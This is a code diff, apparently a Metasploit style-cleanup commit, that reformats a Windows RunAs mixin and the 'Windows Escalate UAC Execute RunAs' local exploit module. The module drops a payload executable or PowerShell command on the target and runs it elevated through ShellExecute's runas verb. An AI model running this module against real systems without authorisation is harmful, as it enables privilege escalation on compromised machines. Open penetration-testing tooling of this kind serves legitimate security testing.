Quick rubocop

Author: Meatballs1

lib/msf/core/post/windows/runas.rb

@@ -4,13 +4,12 @@
 require 'msf/core/exploit/exe'
 
 module Msf::Post::Windows::Runas
-
   include Msf::Post::File
   include Msf::Exploit::EXE
   include Msf::Exploit::Powershell
 
-  def execute_exe(filename=nil, path=nil, upload=nil)
-    payload_filename = filename || Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
+  def execute_exe(filename = nil, path = nil, upload = nil)
+    payload_filename = filename || Rex::Text.rand_text_alpha((rand(8) + 6)) + '.exe'
     payload_path = path || get_env('TEMP')
     cmd_location = "#{payload_path}\\#{payload_filename}"
 
@@ -33,8 +32,7 @@ def execute_psh
   end
 
   def shell_exec(command, args)
-    print_status("Executing elevated command...")
+    print_status('Executing elevated command...')
     session.railgun.shell32.ShellExecuteA(nil, 'runas', command, args, nil, 'SW_SHOW')
   end
 end
-

modules/exploits/windows/local/ask.rb

@@ -11,61 +11,58 @@ class Metasploit3 < Msf::Exploit::Local
   include Post::Windows::Priv
   include Post::Windows::Runas
 
-  def initialize(info={})
-    super( update_info( info,
+  def initialize(info = {})
+    super(update_info(info,
       'Name'          => 'Windows Escalate UAC Execute RunAs',
-      'Description'   => %q{
+      'Description'   => %q(
         This module will attempt to elevate execution level using
         the ShellExecute undocumented RunAs flag to bypass low
         UAC settings.
-      },
+      ),
       'License'       => MSF_LICENSE,
       'Author'        => [
-          'mubix', # Original technique
-          'b00stfr3ak' # Added powershell option
+        'mubix', # Original technique
+        'b00stfr3ak' # Added powershell option
       ],
-      'Platform'      => [ 'win' ],
-      'SessionTypes'  => [ 'meterpreter' ],
-      'Targets'       => [ [ 'Windows', {} ] ],
+      'Platform'      => ['win'],
+      'SessionTypes'  => ['meterpreter'],
+      'Targets'       => [['Windows', {}]],
       'DefaultTarget' => 0,
       'References'    => [
-        [ 'URL', 'http://www.room362.com/blog/2012/1/3/uac-user-assisted-compromise.html' ]
+        ['URL', 'http://www.room362.com/blog/2012/1/3/uac-user-assisted-compromise.html']
       ],
-      'DisclosureDate'=> "Jan 3 2012"
+      'DisclosureDate' => 'Jan 3 2012'
     ))
 
     register_options([
-      OptString.new("FILENAME", [ false, "File name on disk"]),
-      OptString.new("PATH", [ false, "Location on disk, %TEMP% used if not set" ]),
-      OptBool.new("UPLOAD", [ true, "Should the payload be uploaded?", true ]),
-      OptEnum.new("TECHNIQUE", [ true, "Technique to use", 'EXE', ['PSH', 'EXE'] ]),
+      OptString.new('FILENAME', [false, 'File name on disk']),
+      OptString.new('PATH', [false, 'Location on disk, %TEMP% used if not set']),
+      OptBool.new('UPLOAD', [true, 'Should the payload be uploaded?', true]),
+      OptEnum.new('TECHNIQUE', [true, 'Technique to use', 'EXE', %w(PSH EXE)]),
     ])
-
   end
 
   def exploit
-
     if is_uac_enabled?
-      print_status "UAC is Enabled, checking level..."
+      print_status 'UAC is Enabled, checking level...'
       case get_uac_level
       when UAC_NO_PROMPT
-        print_good "UAC is not enabled, no prompt for the user"
+        print_good 'UAC is not enabled, no prompt for the user'
       else
         print_status "The user will be prompted, wait for them to click 'Ok'"
       end
     else
-      print_good "UAC is not enabled, no prompt for the user"
+      print_good 'UAC is not enabled, no prompt for the user'
     end
 
     #
     # Generate payload and random names for upload
     #
-    case datastore["TECHNIQUE"]
-    when "EXE"
-      execute_exe(datastore["FILENAME"], datastore["PATH"], datastore["UPLOAD"])
-    when "PSH"
+    case datastore['TECHNIQUE']
+    when 'EXE'
+      execute_exe(datastore['FILENAME'], datastore['PATH'], datastore['UPLOAD'])
+    when 'PSH'
       execute_psh
     end
   end
 end
-